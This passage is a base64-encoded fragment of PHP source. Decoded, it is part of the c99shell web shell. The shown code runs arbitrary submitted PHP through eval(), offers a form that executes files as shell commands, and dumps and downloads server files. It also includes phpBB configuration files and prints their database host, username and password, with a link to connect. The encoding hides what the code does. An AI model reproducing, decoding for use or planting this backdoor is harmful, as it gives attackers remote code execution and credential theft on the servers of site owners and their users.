ZXQoJGxpbmVbM10pOw0KICAgICAkbGluZVsyXSA9IGludHZhbChzdHJfcmVwbGFjZSgiICIsIiIsJGxpbmVbMl0pKSoxMDI0OyANCiAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgfQ0KICB9DQogICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOw0KICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAkdGFiID0gYXJyYXkoKTsNCiAgJHRhYltdID0gJGhlYWQ7DQogICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7DQogIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspDQogIHsNCiAgIGVjaG8gIjx0cj4iOw0KICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICBlY2hvICI8L3RyPiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJldmFsIikNCnsNCiBpZiAoIWVtcHR5KCRldmFsKSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTwvYj46PGJyPiI7DQogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogIEBjaGRpcigkZCk7DQogIGlmICgkdG1wKQ0KICB7DQogICBvYl9jbGVhbigpOw0KICAgZXZhbCgkZXZhbCk7DQogICAkcmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICBvYl9jbGVhbigpOw0KICAgZWNobyAkdG1wOw0KICAgaWYgKCRldmFsX3R4dCkNCiAgIHsNCiAgICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIH0NCiAgZWxzZQ0KICB7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIxNVwiIHJlYWRvbmx5PiI7DQogICAgZXZhbCgkZXZhbCk7DQogICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgfQ0KICBAY2hkaXIoJG9sZGRpcik7DQogfQ0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBQSFAtY29kZTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0NCiBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZiIpDQp7DQogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAkYyA9IGNvdW50KCRleHQpLTE7DQogICRleHQgPSAkZXh0WyRjXTsNCiAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICRyZnQgPSAiIjsNCiAgZm9yZWFjaCgkZnR5cGVzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fX0NCiAgaWYgKGVyZWdpKCJzZXNzXyguKikiLCRmKSkgeyRyZnQgPSAicGhwc2VzcyI7fQ0KICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQ0KICAkYXJyID0gYXJyYXkoDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYm9yZGVyPVwiMFwiPiIsImluZm8iKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsImh0bWwiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF90eHRcIiBib3JkZXI9XCIwXCI+IiwidHh0IiksDQogICBhcnJheSgiQ29kZSIsImNvZGUiKSwNCiAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLCJleGUiKSwNCiAgIGFycmF5KCJTREIiLCJzZGIiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9XCIwXCI+IiwiaW1nIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaW5pXCIgYm9yZGVyPVwiMFwiPiIsImluaSIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZG93bmxvYWRcIiBib3JkZXI9XCIwXCI+IiwiZG93bmxvYWQiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+Iiwibm90ZXBhZCIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYm9yZGVyPVwiMFwiPiIsImVkaXQiKQ0KICApOw0KICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfIi4kZXh0LiJcIiBib3JkZXI9XCIwXCI+Jm5ic3A7Ii4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpICZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYj48YnI+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyPiI7DQogIGZvcmVhY2goJGFyciBhcyAkdCkNCiAgew0KICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Zm9udCBjb2xvcj1ncmVlbj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQ0KICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30NCiAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9DQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7DQogIH0NCiAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICBpZiAoJGZ0ID09ICJpbmZvIikNCiAgew0KICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsNCiAgIGlmICghJHdpbikNCiAgIHsNCiAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOyAgICANCiAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsNCiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICBlY2hvICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZC4kZikpOw0KICAgfQ0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgaWYgKCRmaSkNCiAgIHsNCiAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICRuID0gMDsNCiAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAkYTEgPSAiIjsNCiAgICAkYTIgPSAiIjsNCiAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykNCiAgICB7DQogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkNCiAgICAgew0KICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgY2FzZSAzMjoNCiAgICAgIGNhc2UgMTA6DQogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOw0KICAgICAgZGVmYXVsdDogJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0clskaV0pOw0KICAgICB9DQogICAgICRuKys7DQogICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dzKQ0KICAgICB7DQogICAgICAkbiA9IDA7DQogICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQ0KICAgICAgJGExIC49ICI8YnI+IjsNCiAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgIH0NCiAgICB9DQogICAgLy9pZiAoJGExICE9ICIiKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQ0KICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MCBiZ2NvbG9yPSM2NjY2NjYgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz00Pjx0cj48dGQgYmdjb2xvcj0jNjY2NjY2PiIuJGEwLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMS4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTIuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgfQ0KICAgJGVuY29kZWQgPSAiIjsNCiAgIGlmICgkYmFzZTY0ID09IDEpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDIpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOw0KICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDMpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDQpDQogICB7DQogICAgJHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsNCiAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsNCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBlY2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTImZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuazwvYT5dJm5ic3A7PC9ub2JyPg0KPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxQPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKQ0KICB7DQogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fQ0KICAgZWNobyAkcjsNCiAgIGlmICgkd2hpdGUpIHtjOTlzaGV4aXQoKTt9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsVFJVRSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gInBocHNlc3MiKQ0KICB7DQogICBlY2hvICI8cHJlPiI7DQogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsNCiAgIGVjaG8gJHZbMF0uIjxicj4iOw0KICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsNCiAgIGVjaG8gIjwvcHJlPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpDQogIHsNCiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAkZXh0ID0gJGV4dFskY107DQogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICRyZnQgPSAiIjsNCiAgIGZvcmVhY2goJGV4ZWZ0eXBlcyBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9DQogICB9DQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7DQogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRkKS4iXCI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikNCiAgew0KICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKQ0KICAgew0KICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOw0KICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkNCiAgICB7DQogICAgIGluY2x1ZGUoJGQuJGYpOw0KICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsNCiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30NCiAgICAgaWYgKCRkYm1zID09ICJteXNxbCIpIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgYzk5c2hlbGwuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9DQogICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOw0KICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsNCiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQ0KICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIH0NCiAgIH0NCiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtjOTlzaGV4aXQoKTt9DQogICBlY2hvICI8L2Rpdj4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJkb3dubG9hZCIpDQogIHsNCiAgIEBvYl9jbGVhbigpOw0KICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZC4kZikpOw0KICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgZWNobyAkcjsNCiAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gIm5vdGVwYWQiKQ0KICB7DQogICBAb2JfY2xlYW4oKTsNCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIik7DQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOw0KICAgZWNobygkcik7DQogICBleGl0Ow0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJpbWciKQ0KICB7DQogICAkaW5mID0gZ2V0aW1hZ2VzaXplKCRkLiRmKTsNCiAgIGlmICghJHdoaXRlKQ0KICAgew0KICAgIGlmIChlbXB0eSgkaW1nc2l6ZSkpIHskaW1nc2l6ZSA9IDIwO30NCiAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAkaGVpZ2h0ID0gJGluZlsxXS8xMDAqJGltZ3NpemU7DQogICAgZWNobyAiPGNlbnRlcj48Yj5TaXplOjwvYj4mbmJzcDsiOw0KICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgZm9yZWFjaCAoJHNpemVzIGFzICR2KQ0KICAgIHsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJmQ9Ii51cmxlbmNvZGUoJGQpLiImaW1nc2l6ZT0iLiR2LiJcIj4iOw0KICAgICBpZiAoJGltZ3NpemUgIT0gJHYgKSB7ZWNobyAkdjt9DQogICAgIGVsc2Uge2VjaG8gIjx1PiIuJHYuIjwvdT4iO30NCiAgICAgZWNobyAiPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgfQ0KICAgIGVjaG8gIjxicj48YnI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgfQ0KICAg